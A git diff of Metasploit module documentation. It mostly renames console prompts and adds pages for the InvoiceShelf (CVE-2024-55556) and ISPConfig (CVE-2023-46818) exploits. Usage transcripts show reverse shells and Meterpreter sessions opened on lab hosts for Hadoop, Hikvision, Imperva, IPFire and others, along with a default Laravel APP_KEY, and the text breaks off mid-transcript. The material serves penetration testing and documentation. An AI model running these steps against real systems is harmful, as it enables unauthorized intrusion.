exploit/linux/http/hadoop_unauth_exec -msf5 exploit(linux/http/hadoop_unauth_exec) > show options +msf > use exploit/linux/http/hadoop_unauth_exec +msf exploit(linux/http/hadoop_unauth_exec) > show options Module options (exploit/linux/http/hadoop_unauth_exec): @@ -59,11 +59,11 @@ Exploit target: 0 Automatic -msf5 exploit(linux/http/hadoop_unauth_exec) > set rhost 192.168.77.141 +msf exploit(linux/http/hadoop_unauth_exec) > set rhost 192.168.77.141 rhost => 192.168.77.141 -msf5 exploit(linux/http/hadoop_unauth_exec) > set payload linux/x86/meterpreter/reverse_tcp +msf exploit(linux/http/hadoop_unauth_exec) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp -msf5 exploit(linux/http/hadoop_unauth_exec) > show options +msf exploit(linux/http/hadoop_unauth_exec) > show options Module options (exploit/linux/http/hadoop_unauth_exec): @@ -95,9 +95,9 @@ Exploit target: 0 Automatic -msf5 exploit(linux/http/hadoop_unauth_exec) > set lhost 192.168.77.141 +msf exploit(linux/http/hadoop_unauth_exec) > set lhost 192.168.77.141 lhost => 192.168.77.141 -msf5 exploit(linux/http/hadoop_unauth_exec) > exploit +msf exploit(linux/http/hadoop_unauth_exec) > exploit [*] Started reverse TCP handler on 192.168.77.141:4444 [*] Sending Command diff --git a/documentation/modules/exploit/linux/http/hikvision_cve_2021_36260_blind.md b/documentation/modules/exploit/linux/http/hikvision_cve_2021_36260_blind.md index adae4c7566ae7..3b630f971f100 100644 --- a/documentation/modules/exploit/linux/http/hikvision_cve_2021_36260_blind.md +++ b/documentation/modules/exploit/linux/http/hikvision_cve_2021_36260_blind.md @@ -61,15 +61,15 @@ quite a few requests to upload the stager and execute it (100+). ### Hikvision HWI-B120-D/W using firmware V5.5.101 build 200408. Root shell via bind shell. ``` -msf6 > use exploit/linux/http/hikvision_cve_2021_36260_blind +msf > use exploit/linux/http/hikvision_cve_2021_36260_blind [*] Using configured payload cmd/unix/bind_busybox_telnetd -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set RHOST 10.0.0.8 +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > set RHOST 10.0.0.8 RHOST => 10.0.0.8 -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > check +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > check [*] 10.0.0.8:80 - The target appears to be vulnerable. As determined by HTTP status replies. -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set LHOST 10.0.0.7 +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > set LHOST 10.0.0.7 LHOST => 10.0.0.7 -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > run +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > run [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. As determined by HTTP status replies. @@ -105,44 +105,44 @@ pwd ### Hikvision DS-2CD2142FWD-I using firmware V5.5.0 build 170725 (unaffected). Failed exploitation. ``` -msf6 > use exploit/linux/http/hikvision_cve_2021_36260_blind +msf > use exploit/linux/http/hikvision_cve_2021_36260_blind [*] Using configured payload cmd/unix/bind_busybox_telnetd -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set RHOST 192.168.1.64 +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > set RHOST 192.168.1.64 RHOST => 192.168.1.64 -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > check +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > check [*] 192.168.1.64:80 - The target is not exploitable. The target did not execute the provided sleep command. -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set LHOST 10.0.0.7 +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > set LHOST 10.0.0.7 LHOST => 10.0.0.7 -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > run +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > run [*] Running automatic check ("set AutoCheck false" to disable) [-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The target did not execute the provided sleep command. "set ForceExploit true" to override check result. [*] Exploit completed, but no session was created. -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set AutoCheck false +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > set AutoCheck false AutoCheck => false -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > run +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > run [!] AutoCheck is disabled, proceeding with exploitation [*] Executing Unix Command for cmd/unix/bind_busybox_telnetd [*] Started bind TCP handler against 192.168.1.64:4444 [*] Exploit completed, but no session was created. -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > ``` ### Hikvision HWI-B120-D/W using firmware V5.5.101 build 200408. Root meterpreter shell. ``` -msf6 > use exploit/linux/http/hikvision_cve_2021_36260_blind +msf > use exploit/linux/http/hikvision_cve_2021_36260_blind [*] Using configured payload cmd/unix/bind_busybox_telnetd -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set RHOST 10.0.0.8 +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > set RHOST 10.0.0.8 RHOST => 10.0.0.8 -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > check +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > check [*] 10.0.0.8:80 - The target appears to be vulnerable. As determined by HTTP status replies. -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set LHOST 10.0.0.7 +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > set LHOST 10.0.0.7 LHOST => 10.0.0.7 -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set target 1 +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > set target 1 target => 1 -msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > run +msf exploit(linux/http/hikvision_cve_2021_36260_blind) > run [*] Started reverse TCP handler on 10.0.0.7:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/hp_van_sdn_cmd_inject.md b/documentation/modules/exploit/linux/http/hp_van_sdn_cmd_inject.md index 50b273592b84b..4674329af29f1 100644 --- a/documentation/modules/exploit/linux/http/hp_van_sdn_cmd_inject.md +++ b/documentation/modules/exploit/linux/http/hp_van_sdn_cmd_inject.md @@ -41,16 +41,16 @@ Set this to the service password. Defaults to `skyline`. ## Usage ``` -msf5 > use exploit/linux/http/hp_van_sdn_cmd_inject -msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > set rhosts 192.168.56.102 +msf > use exploit/linux/http/hp_van_sdn_cmd_inject +msf exploit(linux/http/hp_van_sdn_cmd_inject) > set rhosts 192.168.56.102 rhosts => 192.168.56.102 -msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > set target Linux Dropper +msf exploit(linux/http/hp_van_sdn_cmd_inject) > set target Linux Dropper target => Linux Dropper -msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(linux/http/hp_van_sdn_cmd_inject) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > set lhost 192.168.56.1 +msf exploit(linux/http/hp_van_sdn_cmd_inject) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > run +msf exploit(linux/http/hp_van_sdn_cmd_inject) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Authenticating with service token AuroraSdnToken37 @@ -73,9 +73,9 @@ BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > Background session 1? [y/N] -msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > set token "" +msf exploit(linux/http/hp_van_sdn_cmd_inject) > set token "" token => -msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > run +msf exploit(linux/http/hp_van_sdn_cmd_inject) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Authenticating with creds sdn:skyline diff --git a/documentation/modules/exploit/linux/http/ibm_drm_rce.md b/documentation/modules/exploit/linux/http/ibm_drm_rce.md index 17a4d56720cc9..2e3f57eb50ae1 100644 --- a/documentation/modules/exploit/linux/http/ibm_drm_rce.md +++ b/documentation/modules/exploit/linux/http/ibm_drm_rce.md @@ -28,7 +28,7 @@ A successful exploit will look like this: ``` -msf5 exploit(linux/http/ibm_drm_unauth_rce) > run +msf exploit(linux/http/ibm_drm_unauth_rce) > run [*] Started reverse TCP handler on 10.9.8.1:4444 [+] 10.9.8.213:8443 - Successfully "stickied" our session ID JQElTQxh diff --git a/documentation/modules/exploit/linux/http/imperva_securesphere_exec.md b/documentation/modules/exploit/linux/http/imperva_securesphere_exec.md index 604d84315f0f7..173a578925a15 100644 --- a/documentation/modules/exploit/linux/http/imperva_securesphere_exec.md +++ b/documentation/modules/exploit/linux/http/imperva_securesphere_exec.md @@ -22,16 +22,16 @@ Imperva SecureSphere 13.0/13.1/13.2 Imperva Secure 13.0 Pre-FTL mode: ``` -msf5 > use exploit/linux/http/imperva_securesphere_exec -msf5 exploit(linux/http/imperva_securesphere_exec) > set RHOST 192.168.146.201 +msf > use exploit/linux/http/imperva_securesphere_exec +msf exploit(linux/http/imperva_securesphere_exec) > set RHOST 192.168.146.201 RHOST => 192.168.146.201 -msf5 exploit(linux/http/imperva_securesphere_exec) > check +msf exploit(linux/http/imperva_securesphere_exec) > check [+] 192.168.146.201:443 The target is vulnerable. -msf5 exploit(linux/http/imperva_securesphere_exec) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(linux/http/imperva_securesphere_exec) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf5 exploit(linux/http/imperva_securesphere_exec) > set LHOST 192.168.146.215 +msf exploit(linux/http/imperva_securesphere_exec) > set LHOST 192.168.146.215 LHOST => 192.168.146.215 -msf5 exploit(linux/http/imperva_securesphere_exec) > show options +msf exploit(linux/http/imperva_securesphere_exec) > show options Module options (exploit/linux/http/imperva_securesphere_exec): @@ -67,7 +67,7 @@ Exploit target: 0 Imperva SecureSphere 13.0/13.1/13.2 -msf5 exploit(linux/http/imperva_securesphere_exec) > exploit +msf exploit(linux/http/imperva_securesphere_exec) > exploit [*] Started reverse TCP handler on 192.168.146.215:4444 [*] Sending payload linux/x64/meterpreter/reverse_tcp @@ -113,18 +113,18 @@ meterpreter > exit Imperva SecureSphere 13.0 Gateway mode (Requires agent registration credential): ``` -msf5 > use exploit/linux/http/imperva_securesphere_exec -msf5 exploit(linux/http/imperva_securesphere_exec) > set RHOST 192.168.146.201 +msf > use exploit/linux/http/imperva_securesphere_exec +msf exploit(linux/http/imperva_securesphere_exec) > set RHOST 192.168.146.201 RHOST => 192.168.146.201 -msf5 exploit(linux/http/imperva_securesphere_exec) > set PASS lshy5782%lsLS +msf exploit(linux/http/imperva_securesphere_exec) > set PASS lshy5782%lsLS PASS => lshy5782%lsLS -msf5 exploit(linux/http/imperva_securesphere_exec) > check +msf exploit(linux/http/imperva_securesphere_exec) > check [+] 192.168.146.201:443 The target is vulnerable. -msf5 exploit(linux/http/imperva_securesphere_exec) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(linux/http/imperva_securesphere_exec) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf5 exploit(linux/http/imperva_securesphere_exec) > set LHOST 192.168.146.215 +msf exploit(linux/http/imperva_securesphere_exec) > set LHOST 192.168.146.215 LHOST => 192.168.146.215 -msf5 exploit(linux/http/imperva_securesphere_exec) > show options +msf exploit(linux/http/imperva_securesphere_exec) > show options Module options (exploit/linux/http/imperva_securesphere_exec): @@ -160,7 +160,7 @@ Exploit target: 0 Imperva SecureSphere 13.0/13.1/13.2 -msf5 exploit(linux/http/imperva_securesphere_exec) > exploit +msf exploit(linux/http/imperva_securesphere_exec) > exploit [*] Started reverse TCP handler on 192.168.146.215:4444 [*] Sending payload linux/x64/meterpreter/reverse_tcp diff --git a/documentation/modules/exploit/linux/http/invoiceninja_unauth_rce_cve_2024_55555.md b/documentation/modules/exploit/linux/http/invoiceninja_unauth_rce_cve_2024_55555.md index 7a80d306ce5e6..a959d0f61bbb1 100644 --- a/documentation/modules/exploit/linux/http/invoiceninja_unauth_rce_cve_2024_55555.md +++ b/documentation/modules/exploit/linux/http/invoiceninja_unauth_rce_cve_2024_55555.md @@ -47,13 +47,13 @@ This option is optional and is a text file with a list of APP_KEYs, one per line ### Invoice Ninja 5.10.10 on Ubuntu 22.04 - PHP Command target Attack scenario: use the default Laravel APP_KEY preset in the option APP_KEY. ```msf -msf6 > use modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555 +msf > use modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555 [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set rhosts 192.168.201.6 +msf exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set rhosts 192.168.201.6 rhosts => 192.168.201.6 -msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set lhost 192.168.201.8 +msf exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set lhost 192.168.201.8 lhost => 192.168.201.8 -msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > rexploit +msf exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > rexploit [*] Reloading module... [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -81,11 +81,11 @@ meterpreter > ### Invoice Ninja 5.10.10 on Ubuntu 22.04 - Unix/Linux Command target Attack scenario: use the BRUTEFORCE option with a list of APP_KEYS in a text file. ```msf -msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set target 1 +msf exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set target 1 target => 1 -msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set BRUTEFORCE /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt +msf exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set BRUTEFORCE /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt BRUTEFORCE => /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt -msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > rexploit +msf exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > rexploit [*] Reloading module... [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.md b/documentation/modules/exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.md new file mode 100644 index 0000000000000..db2c13b520227 --- /dev/null +++ b/documentation/modules/exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.md @@ -0,0 +1,186 @@ +## Vulnerable Application +InvoiceShelf is an open-source web & mobile app that helps you track expenses, payments, create professional +invoices & estimates and is based on the PHP framework Laravel. +InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct +PHP deserialization attacks. This is possible when the `SESSION_DRIVER=cookie` option is set on the default +InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie. +These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using +Laravel's encrypt() function. +An attacker in possession of the `APP_KEY` would therefore be able to retrieve the cookie, uncipher it and modify +the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve +remote command execution. InvoiceShelf version `1.3.0` and lower is vulnerable. +As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, +potentially resulting in complete system compromise, data exfiltration, or unauthorized access +to sensitive information. + +The following release was tested. +* InvoiceShelf `1.3.0` on Docker + +## Installation steps to install InvoiceShelf on Docker +* Follow the instructions [here](https://docs.invoiceshelf.com/installation.html) for docker or manual install. +* Please ensure that `SESSION_DRIVER=cookie` is set to cookie. +* cp `.env.example` to `.env` and note down the `APP_KEY` setting. +* To make life easy, use the `docker-compose.yml` below to install a vulnerable InvoiceShell on Docker. +``` + #------------------------------------------- + # InvoiceShelf MySQL docker-compose variant + # Repo : https://github.com/InvoiceShelf/docker + #------------------------------------------- + +services: + invoiceshelf_db: + container_name: invoiceshelf_db + image: mariadb:10 + environment: + - MYSQL_DATABASE=invoiceshelf + - MYSQL_USER=invoiceshelf + - MYSQL_PASSWORD=Passw0rd + - MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=true + expose: + - 3306 + volumes: + - mysql:/var/lib/mysql + networks: + - invoiceshelf + restart: unless-stopped + healthcheck: + test: ["CMD", "mariadb-admin" ,"ping", "-h", "localhost"] + timeout: 20s + retries: 10 + + invoiceshelf: + image: invoiceshelf/invoiceshelf:1.3.0 + container_name: invoiceshelf + ports: + - 90:80 + volumes: + - ./invoiceshelf_mysql/data:/data + - ./invoiceshelf_mysql/conf:/conf + networks: + - invoiceshelf + environment: + # PHP timezone e.g. PHP_TZ=America/New_York + - PHP_TZ=UTC + - TIMEZONE=UTC + - APP_NAME=Laravel + - APP_ENV=local + - APP_DEBUG=true + - APP_URL=http://localhost:90 + - DB_CONNECTION=mysql + - DB_HOST=invoiceshelf_db + - DB_PORT=3306 + - DB_DATABASE=invoiceshelf + - DB_USERNAME=invoiceshelf + - DB_PASSWORD=Passw0rd + - DB_PASSWORD_FILE= + - CACHE_STORE=file + - SESSION_DRIVER=cookie + - SESSION_LIFETIME=1440 + - SESSION_ENCRYPT=false + - SESSION_PATH=/ + - SESSION_DOMAIN=localhost + - SANCTUM_STATEFUL_DOMAINS=localhost:90 + - STARTUP_DELAY= + #- MAIL_DRIVER=smtp + #- MAIL_HOST=smtp.mailtrap.io + #- MAIL_PORT=2525 + #- MAIL_USERNAME=null + #- MAIL_PASSWORD=null + #- MAIL_PASSWORD_FILE= + #- MAIL_ENCRYPTION=null + restart: unless-stopped + depends_on: + - invoiceshelf_db + +networks: + invoiceshelf: + +volumes: + mysql: +``` +* Execute `docker-compose up -d` +* You can access the InvoiceShelf application at http://localhost:90 + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `use exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556` +- [ ] `set rhosts ` +- [ ] `set rport ` +- [ ] `set lhost ` +- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>` +- [ ] `exploit` +- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings + +## Options +### APP_KEY +This option is required if the BRUTE_FORCE option is not used. +It is the Laravel APP_KEY with a default key: `base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=`. + +### BRUTEFORCE +This option is optional and is a text file with a list of APP_KEYs, one per line for a bruteforce attack. + +## Scenarios +### InvoiceShelf 1.3.0 on Docker - PHP Command target +Attack scenario: use the default Laravel APP_KEY preset in the option APP_KEY. +```msf +msf exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set rhosts 192.168.201.21 +rhosts => 192.168.201.21 +msf exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set lhost 192.168.201.8 +lhost => 192.168.201.8 +msf exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit +[*] Reloading module... +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.201.21:90 can be exploited. +[+] The target appears to be vulnerable. InvoiceShelf 1.3.0 +[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie. +[*] Grabbing the cookies. +[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0= +[+] Unciphered value: f80a79e26a4e80e6829ca82e9323f17dcbf8226b|{"data":"a:3:{s:6:\"_token\";s:40:\"4Fgr0aT0N85gxRmu4PoVqPzHU7XOH23NCrivJO9x\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454360} +[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY. +[*] Executing PHP for php/meterpreter/reverse_tcp +[*] Sending stage (40004 bytes) to 192.168.201.21 +[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.21:54194) at 2025-03-07 17:19:21 +0000 + +meterpreter > getuid +Server username: www-data +meterpreter > pwd +/var/www/html/InvoiceShelf/public +meterpreter > sysinfo +Computer : 72fe563832ca +OS : Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64 +Meterpreter : php/linux +meterpreter > +``` +### InvoiceShelf 1.3.0 on Docker - Unix/Linux Command target +Attack scenario: use the BRUTEFORCE option with a list of APP_KEYS in a text file. +```msf +msf exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set target 1 +target => 1 +msf exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set BRUTEFORCE /root/laravel-crypto-killer/wordlists/crater.txt +BRUTEFORCE => /root/laravel-crypto-killer/wordlists/crater.txt +msf exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit +[*] Reloading module... +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.201.21:90 can be exploited. +[+] The target appears to be vulnerable. InvoiceShelf 1.3.0 +[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie. +[*] Grabbing the cookies. +[*] Starting bruteforce decryption with APP_KEYS listed in /root/laravel-crypto-killer/wordlists/crater.txt. +[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0= +[+] Unciphered value: ce0776f8682b66a8407e6a3d62622642ec8fc685|{"data":"a:3:{s:6:\"_token\";s:40:\"Q2zYE5unWqTpdLwFwqgKxBVubiDI95ceLObsbXXV\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454687} +[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY. +[*] Executing Unix/Linux Command for cmd/unix/reverse_bash +[*] Command shell session 3 opened (192.168.201.8:4444 -> 192.168.201.21:54229) at 2025-03-07 17:24:53 +0000 + +id +uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(invoiceshelf) +uname -a +Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64 GNU/Linux +pwd +/var/www/html/InvoiceShelf/public +``` + +## Limitations +No limitations. diff --git a/documentation/modules/exploit/linux/http/invokeai_rce_cve_2024_12029.md b/documentation/modules/exploit/linux/http/invokeai_rce_cve_2024_12029.md index 1d17b9d023713..3735d80c4971a 100644 --- a/documentation/modules/exploit/linux/http/invokeai_rce_cve_2024_12029.md +++ b/documentation/modules/exploit/linux/http/invokeai_rce_cve_2024_12029.md @@ -76,9 +76,9 @@ uv pip install invokeai==5.3.1 --python 3.11 --python-preference only-managed -- ## Scenarios ``` -msf6 > use exploit/linux/http/invokeai_rce_cve_2024_12029 +msf > use exploit/linux/http/invokeai_rce_cve_2024_12029 [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/invokeai_rce_cve_2024_12029) > options +msf exploit(linux/http/invokeai_rce_cve_2024_12029) > options Module options (exploit/linux/http/invokeai_rce_cve_2024_12029): @@ -119,7 +119,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/invokeai_rce_cve_2024_12029) > run lhost=192.168.56.1 rhost=192.168.56.17 +msf exploit(linux/http/invokeai_rce_cve_2024_12029) > run lhost=192.168.56.1 rhost=192.168.56.17 [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 5.3.1 detected. diff --git a/documentation/modules/exploit/linux/http/ipfire_pakfire_exec.md b/documentation/modules/exploit/linux/http/ipfire_pakfire_exec.md index 7eb8de9fb705f..f2d7902ff0a67 100644 --- a/documentation/modules/exploit/linux/http/ipfire_pakfire_exec.md +++ b/documentation/modules/exploit/linux/http/ipfire_pakfire_exec.md @@ -30,9 +30,9 @@ ### IPFire 2.21 (Core Update 126) ``` -msf6 > use exploit/linux/http/ipfire_pakfire_exec +msf > use exploit/linux/http/ipfire_pakfire_exec [*] Using configured payload python/meterpreter/reverse_tcp -msf6 exploit(linux/http/ipfire_pakfire_exec) > show options +msf exploit(linux/http/ipfire_pakfire_exec) > show options Module options (exploit/linux/http/ipfire_pakfire_exec): @@ -67,15 +67,15 @@ Exploit target: 0 Python Dropper -msf6 exploit(linux/http/ipfire_pakfire_exec) > set RHOSTS 172.29.202.191 +msf exploit(linux/http/ipfire_pakfire_exec) > set RHOSTS 172.29.202.191 RHOSTS => 172.29.202.191 -msf6 exploit(linux/http/ipfire_pakfire_exec) > set USERNAME admin +msf exploit(linux/http/ipfire_pakfire_exec) > set USERNAME admin USERNAME => admin -msf6 exploit(linux/http/ipfire_pakfire_exec) > set PASSWORD admin +msf exploit(linux/http/ipfire_pakfire_exec) > set PASSWORD admin PASSWORD => admin -msf6 exploit(linux/http/ipfire_pakfire_exec) > set LHOST 172.29.202.153 +msf exploit(linux/http/ipfire_pakfire_exec) > set LHOST 172.29.202.153 LHOST => 172.29.202.153 -msf6 exploit(linux/http/ipfire_pakfire_exec) > exploit +msf exploit(linux/http/ipfire_pakfire_exec) > exploit [*] Started reverse TCP handler on 172.29.202.153:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -109,9 +109,9 @@ sh-4.3# ### IPFire 2.25 (Core Update 156) ``` -msf6 > use exploit/linux/http/ipfire_pakfire_exec +msf > use exploit/linux/http/ipfire_pakfire_exec [*] Using configured payload python/meterpreter/reverse_tcp -msf6 exploit(linux/http/ipfire_pakfire_exec) > show options +msf exploit(linux/http/ipfire_pakfire_exec) > show options Module options (exploit/linux/http/ipfire_pakfire_exec): @@ -146,15 +146,15 @@ Exploit target: 0 Python Dropper -msf6 exploit(linux/http/ipfire_pakfire_exec) > set RHOST 172.29.202.157 +msf exploit(linux/http/ipfire_pakfire_exec) > set RHOST 172.29.202.157 RHOST => 172.29.202.157 -msf6 exploit(linux/http/ipfire_pakfire_exec) > set USERNAME admin +msf exploit(linux/http/ipfire_pakfire_exec) > set USERNAME admin USERNAME => admin -msf6 exploit(linux/http/ipfire_pakfire_exec) > set PASSWORD admin +msf exploit(linux/http/ipfire_pakfire_exec) > set PASSWORD admin PASSWORD => admin -msf6 exploit(linux/http/ipfire_pakfire_exec) > set LHOST 172.29.202.153 +msf exploit(linux/http/ipfire_pakfire_exec) > set LHOST 172.29.202.153 LHOST => 172.29.202.153 -msf6 exploit(linux/http/ipfire_pakfire_exec) > exploit +msf exploit(linux/http/ipfire_pakfire_exec) > exploit [*] Started reverse TCP handler on 172.29.202.153:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -183,4 +183,4 @@ sh: no job control in this shell sh-5.0# id uid=0(root) gid=0(root) groups=0(root) sh-5.0# -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/linux/http/ispconfig_lang_edit_php_code_injection.md b/documentation/modules/exploit/linux/http/ispconfig_lang_edit_php_code_injection.md new file mode 100644 index 0000000000000..619f5d4bfb7f8 --- /dev/null +++ b/documentation/modules/exploit/linux/http/ispconfig_lang_edit_php_code_injection.md @@ -0,0 +1,69 @@ +## Vulnerable Application + +ISPConfig before 3.2.11p1 is vulnerable to PHP code injection via the language file editor (language_edit.php) if the +`admin_allow_langedit` option is enabled. +An authenticated administrator can inject arbitrary PHP code, leading to remote code execution on the server. + +- Vendor Advisory: https://www.ispconfig.org/ +- CVE: [CVE-2023-46818](https://nvd.nist.gov/vuln/detail/CVE-2023-46818) +- PoC/Details: [https://github.com/SyFi/CVE-2023-46818](https://github.com/SyFi/CVE-2023-46818) +- Exploit writeup: [https://karmainsecurity.com/KIS-2023-13](https://karmainsecurity.com/KIS-2023-13) + +### Setup Example + +1. Download and install ISPConfig (vulnerable version, e.g., 3.2.11 or earlier) +2. Enable `admin_allow_langedit` in the ISPConfig configuration. +3. Create an admin user for testing. + +## Verification Steps + +1. Start msfconsole +2. Do: `use exploit/linux/http/ispconfig_lang_edit_php_code_injection` +3. Set the `RHOSTS`, `USERNAME`, and `PASSWORD` options +4. Set `TARGETURI` if ISPConfig is not at the web root +5. Run the module +6. You should get a Meterpreter or command shell session as the web server user. + +## Options + +### USERNAME +The ISPConfig administrator username to authenticate with. + +### PASSWORD +The ISPConfig administrator password to authenticate with. + + +## Scenarios + +### ISPConfig 3.2.11 (or earlier), Ubuntu 20.04 + +``` +msf exploit(linux/http/ispconfig_lang_edit_php_code_injection) > run verbose=true +[*] Started reverse TCP handler on 192.168.168.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if the target is ISPConfig... +[*] Attempting login with username 'admin' and password 'RGT2WvpoALJXh8t' +[+] Login successful! +[+] ISPConfig version detected: ISPConfig Version: 3.2.10 +[+] The target appears to be vulnerable. Version: ISPConfig Version: 3.2.10 +[*] Attempting login with username 'admin' and password 'RGT2WvpoALJXh8t' +[+] Login successful! +[*] Checking if admin_allow_langedit is enabled... +[+] Language editor is accessible - admin_allow_langedit appears to be enabled +[*] Injecting PHP payload... +[+] Extracted CSRF tokens: 